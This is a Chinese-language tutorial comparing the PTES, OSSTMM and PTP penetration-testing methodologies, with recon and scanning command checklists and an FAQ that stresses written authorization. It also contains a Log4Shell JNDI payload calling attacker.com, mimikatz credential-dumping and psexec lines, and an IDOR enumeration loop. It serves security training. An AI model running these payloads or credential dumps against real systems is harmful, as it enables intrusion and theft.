渗透测试方法论对比:PTES / OSSTMM / PTP

前言

渗透测试不是拿着 Burp 瞎点。客户花钱买的是 一份结构化的报告和可复现的流程。方法论就是这个流程的骨架。


一、PTES 七阶段

来源:安全社区自发制定
网址:http://www.pentest-standard.org/
特点:最流行、最通用、Web/网络通吃

七大阶段:
1. 前期交互 (Pre-engagement)    授权、Scope、沟通计划
2. 情报收集 (Intelligence)      被动/主动侦察
3. 威胁建模 (Threat Modeling)   STRIDE 模型分析
4. 漏洞分析 (Vulnerability)     扫描 + 手工测试
5. 渗透攻击 (Exploitation)      拿到 shell / 权限
6. 后渗透 (Post Exploitation)   权限维持、横向移动
7. 报告撰写 (Reporting)         结构化报告

1.1 实战 Checklist

# Phase 1: 前期交互
[ ] 获取书面授权(Scope Document)
[ ] 明确测试边界(IP 段 / 域名 / 应用)
[ ] 明确禁止动作(DDoS / 删库 / 修改数据)
[ ] 紧急联系人信息(24x7)
[ ] 沟通计划(每日站会)
[ ] NDA 签署

# Phase 2: 情报收集(被动)
whois example.com | grep -iE "org|registrar|phone|email|name server"
dig example.com ANY +noall +answer
dig example.com AXFR @ns1.example.com
curl -s "https://crt.sh/?q=%.example.com&output=json" | jq -r '.[].name_value' | sort -u | sed 's/^*\.//'
curl -s "https://web.archive.org/cdx/search/cdx?url=*.example.com/*&output=text&fl=original" | sort -u
# Shodan / FOFA / Censys
curl "https://api.shodan.io/shodan/host/search?query=example.com&key=$SHODAN_KEY" | jq '.matches | length'
# GitHub Dork: site:github.com "example.com" password

# Phase 2: 情报收集(主动)
subfinder -d example.com -silent -o subs.txt
masscan example.com -p1-65535 --rate=10000 -oL masscan.txt
grep open masscan.txt | awk '{print $4}' | cut -d: -f1 | sort -u > alive.txt
nmap -sV -sC --script vuln -iL alive.txt -oN nmap_vuln.txt

# Phase 3: 威胁建模(STRIDE)
# S - Spoofing    伪造身份
# T - Tampering   篡改数据
# R - Repudiation 否认
# I - Information Disclosure 信息泄露
# D - Denial of Service      拒绝服务
# E - Elevation of Privilege 权限提升

# Phase 4: 漏洞分析
nuclei -u http://example.com -t ~/nuclei-templates/ -o nuclei.txt
for path in /actuator /swagger-ui.html /api-docs /druid /console /jenkins \
            /.git/config /.env /.DS_Store /WEB-INF/web.xml \
            /manager/html /phpinfo.php /info.php /test.php; do
  code=$(curl -s -o /dev/null -w "%{http_code}" "http://example.com$path")
  [ "$code" != "404" ] && echo "$code  $path"
done

# Phase 5: 渗透攻击
sqlmap -u "http://example.com/user?id=1" --batch --dbs
curl -v -H "Cookie: rememberMe=1" http://example.com/

# Phase 6: 后渗透(拍照存证)
mimikatz.exe "sekurlsa::logonpasswords"
impacket-psexec user:pass@target cmd.exe

二、OSSTMM(合规向)

来源:ISECOM
特点:合规导向、450+ 页
网址:https://www.isecom.org/osstmm

三大测试类别:
1. LEGN(Logistical / Physical / Electronic / Personal)
2. ISECOM 七大区域
3. 信任等级(Trust Levels)

10 大安全通道:
1. Human              人员安全
2. Physical           物理安全
3. Wireless           无线安全
4. Telecommunications 电信安全
5. Data Networks      数据网络
6. Radio Frequency    射频
7. Encryption         加密
8. Application        应用程序
9. Operating Systems  操作系统
10. Services          服务

OSSTMM 比 PTES 多了物理安全和社会工程部分,适合金融/政府合规场景。


三、PTP + MITRE ATT&CK 融合

PTP(CREST 认证)的六个阶段:
1. Discovery    发现
2. Analyse      分析
3. Attack       攻击
4. Report       报告
5. Retest       复测(必须!)
6. Closure      结案

实战做法:
PTES 做骨架 + MITRE ATT&CK 做行为映射 + OSSTMM 做合规补充

MITRE ATT&CK Matrix:
Initial Access        利用漏洞进入
Execution             执行恶意代码
Persistence           权限维持
Privilege Escalation  提权
Credential Access     凭据窃取
Discovery             横向侦察
Lateral Movement      横向移动
Collection            数据收集
Command and Control   C2 通信
Exfiltration          数据外带
Impact                破坏/勒索

四、方法论常见误区

❌ 误区 1:按 checklist 走完就行
✅ 真相:Checklist 只是最低标准
  电商客户 -> 重点测支付、订单、优惠券逻辑
  金融系统 -> 重点测越权、反序列化、密码强度
  SaaS 平台 -> 重点测多租户隔离

❌ 误区 2:严格按阶段线性走
✅ 真相:实际渗透是网状的
  情报收集持续整个过程
  发现新漏洞后要回去补充信息

❌ 误区 3:方法论 = 操作手册
✅ 真相:方法论告诉你 "做什么",不告诉你 "怎么做"
  "枚举服务" 是方法论
  "nmap -sV -p-" 是操作

五、实战完整示例

# 目标:example.com(授权范围:*.example.com + 10.0.0.0/24)

echo "========================================"
echo " Phase 1: 资产盘点"
echo "========================================"
for scope in "*.example.com" "10.0.0.0/24"; do
  subfinder -d "$scope" -silent >> all_subs.txt
done
sort -u all_subs.txt | tee all_subs_unique.txt | wc -l

echo "========================================"
echo " Phase 2: 存活探测"
echo "========================================"
cat all_subs_unique.txt | httpx -silent -title -o alive_web.txt
wc -l alive_web.txt

echo "========================================"
echo " Phase 3: 端口扫描"
echo "========================================"
masscan 10.0.0.0/24 -p1-65535 --rate=50000 -oL masscan.txt
grep open masscan.txt | awk '{print $4}' | cut -d: -f1 | sort -u > alive_hosts.txt

echo "========================================"
echo " Phase 4: 服务识别 + 漏洞扫描"
echo "========================================"
while read host; do
  nmap -sV -sC --script vuln "$host" -oN "nmap_${host}.txt"
done < alive_hosts.txt
cat alive_hosts.txt | nuclei -t ~/nuclei-templates/http/ -o nuclei_findings.txt

echo "========================================"
echo " Phase 5: 手工测试"
echo "========================================"
while read url; do
  ffuf -u "${url}/FUZZ" -w dirs.txt -mc 200,301,403 -t 30 -o "ffuf_${url//[\/:]/_}.txt"
done < alive_web.txt &

# 越权(IDOR)
for id in $(seq 1 100); do
  curl -s -o /dev/null -w "%{http_code} %{size_download}\n" "http://example.com/api/user/$id"
done | sort -k1 -k2 | uniq -c | sort -rn

# Log4Shell
curl -v "http://target/?x=\${jndi:ldap://attacker.com/a}"
# Shiro
curl -v -H "Cookie: rememberMe=1" http://target/

echo "========================================"
echo " Phase 7: 报告"
echo "========================================"
# 每个漏洞:标题 + 风险等级 + PoC + 截图 + 影响 + 修复建议

六、推荐资源


七、每月自检清单

[ ] 订阅浏览最近 1 个月的 CVE / CNVD / CNNVD
    cve.mitre.org / cnvd.org.cn / nvd.nist.gov

[ ] 阅读最近漏洞分析文章
    FreeBuf / 先知社区 / Twitter

[ ] 更新本地工具 + Payload 库
    git pull ~/nuclei-templates/
    git pull ~/PayloadsAllTheThings/
    git pull ~/SecLists/

[ ] 参加至少 1 次 CTF(Web 方向)
    CTFtime 找 Quals 级别比赛

[ ] 写 1-2 篇技术总结 / 漏洞分析博客
    FreeBuf / 先知 / 公众号

[ ] 完成至少 3 个 Hack The Box 靶场
    保持手速

[ ] 提交 1-2 个 Bug Bounty 报告(可选)
    保持漏洞敏感度

八、实战常见问题

Q: 客户让你测生产环境怎么办?
A: 必须签授权书(Scope Document),明确边界。
   敏感操作(删库、DDoS、改配置)明确禁止。
   先在预发/测试环境跑完整扫描。
   提前通知运维和 DBA,随时能停下来。

Q: 客户说"随便测"怎么办?
A: 必须走流程:
   1. 签书面 Scope
   2. 明确哪些资产在范围内
   3. 明确禁止动作
   4. 紧急联系人
   5. NDA 保密协议

Q: 发现 Critical 漏洞但客户还没上线怎么办?
A: 写报告、提修复建议、最好写 PoC 让他们能自测。
   主动问要不要帮忙做复测。后续跟进。

Q: 渗透测试和代码审计有什么区别?
A: 渗透测试是黑盒/灰盒,模拟攻击者从外部打进来。
   代码审计是白盒,直接看源码找逻辑漏洞。
   好的渗透工程师也应该能审计代码。